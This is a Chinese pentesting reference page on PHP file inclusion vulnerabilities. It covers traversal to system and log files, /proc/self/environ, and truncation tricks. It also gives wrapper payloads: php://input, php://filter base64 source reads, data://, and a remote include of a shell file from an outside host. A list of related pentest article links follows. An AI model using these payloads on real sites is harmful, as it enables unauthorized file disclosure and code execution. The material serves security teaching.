4.9. 文件包含

4.9.1. 基础

常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?>

考虑常用的几种包含方式为

同目录包含 file=.htaccess
目录遍历 ?file=../../../../../../../../../var/lib/locate.db
日志注入 ?file=../../../../../../../../../var/log/apache/error.log
利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多种日志来源测试

4.9.2. 触发Sink

PHPinclude在包含过程中出错会报错，不影响执行后续语句include_once仅包含一次require在包含过程中出错，就会直接退出，不执行后续语句require_once

4.9.3. 绕过技巧

常见的应用在文件包含之前，可能会调用函数对其进行判断，一般有如下几种绕过方式

4.9.3.1. url编码绕过

如果WAF中是字符串匹配，可以使用url多次编码的方式可以绕过

4.9.3.2. 特殊字符绕过

某些情况下，读文件支持使用Shell通配符，如 ? * 等
url中 使用 ? # 可能会影响include包含的结果
某些情况下，unicode编码不同但是字形相近的字符有同一个效果

4.9.3.3. %00截断

几乎是最常用的方法，条件是 magic_quotes_gpc 关闭，而且php版本小于5.3.4。

4.9.3.4. 长度截断

Windows上的文件名长度和文件路径有关。具体关系为：从根目录计算，文件路径长度最长为259个bytes。

msdn定义 #define MAX_PATH 260，其中第260个字符为字符串结尾的 \0 ，而linux可以用getconf来判断文件名长度限制和文件路径长度限制。

获取最长文件路径长度：getconf PATH_MAX /root 得到4096 获取最长文件名：getconf NAME_MAX /root 得到255

那么在长度有限的时候，././././ (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中，这种绕过方式要求php版本 < php 5.2.8

4.9.3.5. 伪协议绕过

远程包含: 要求 allow_url_fopen=On 且 allow_url_include=On ，
payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式PHP input: 把payload放在POST参数中作为包含的文件，
要求 allow_url_include=On ，payload为 ?file=php://input 的形式Base64: 使用Base64伪协议读取文件，
payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式data: 使用data伪协议读取文件，
payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式，
要求 allow_url_include=On

4.9.3.6. 协议绕过

allow_url_fopen 和 allow_url_include 主要是针对 http ftp 两种协议起作用，因此可以使用SMB、WebDav协议等方式来绕过限制。

【渗透测试】—如何利用文件包含的方式进行攻击相关推荐

Kali 渗透测试：利用HTA文件进行渗透攻击
Kali 渗透测试:利用HTA文件进行渗透攻击由于浏览器安全技术发展很快,很多时候面对一些安全的浏览器(就是暂时没有发现漏洞的浏览器), 这时通常需要选择一种不需要依赖漏洞的手段,这种手段看起来是个 ...
渗透测试漏洞利用入门总结
渗透测试漏洞利用入门总结漏洞利用利用medusa获得远程服务的访问权限. 这些服务包括ssh.telnet.ftp.pc anywhere .vnc 对这些服务进行爆破的工具分别是medusa 和 ...
Kali渗透测试：使用Metasploit对Web应用的攻击
Kali渗透测试:使用Metasploit对Web应用的攻击 Web应用程序的漏洞数量众多,这里我们以其中一个命令注入漏洞为例复现一下.这种漏洞源于Web应用程序没有对用户输入的内容进行准确的验证,从 ...
【愚公系列】2023年05月网络安全高级班 071.WEB渗透与安全（文件包含漏洞原理利用防御）
文章目录前言一.文件包含漏洞原理利用防御 1.原理 1.1 简介 1.2 分类 1.3 代码 1.3.1 shell语句 1.3.2 包含语句 2.渗透 2.1 低安全级别 2.1.1 本地文件包 ...
渗透测试中的文件传输技巧
目录搭建 HTTP server Python PHP 5.4+ Ruby Ruby 1.9.2+ Perl busybox httpd Download files from HTTP serve ...
渗透测试另类利用社会工程学
社会工程学和前端安全.古典的社会工程学攻击案例:社会工程师利用人们的好奇心,或者贪图便宜的心理,让某人捡起不小心丢下的USB,在好奇心的驱使下,该人将该USB插入自己的计算机,打开带后门的PDF文件, ...
php伪协议漏洞_php伪协议利用文件包含漏洞
php支持多种封装协议,这些协议常被CTF出题中与文件包含漏洞结合,这里做个小总结.实验用的是DVWA平台,low级别,phpstudy中的设置为5.4.45版本设置allow_url_fopen和 ...
BTS测试实验室--远程文件包含和服务器端注入攻略
远程文件包含构造payload:http://127.0.0.1/btslab/vulnerability/rfi/RFI.php?file=http://192.168.1.129/test2/d ...
Kali Linux 无线渗透测试入门指南第七章高级 WLAN 攻击
第七章高级 WLAN 攻击作者:Vivek Ramachandran, Cameron Buchanan 译者:飞龙协议:CC BY-NC-SA 4.0 简介知己知彼,百战不殆. 孙子,< ...

【渗透测试】—如何利用文件包含的方式进行攻击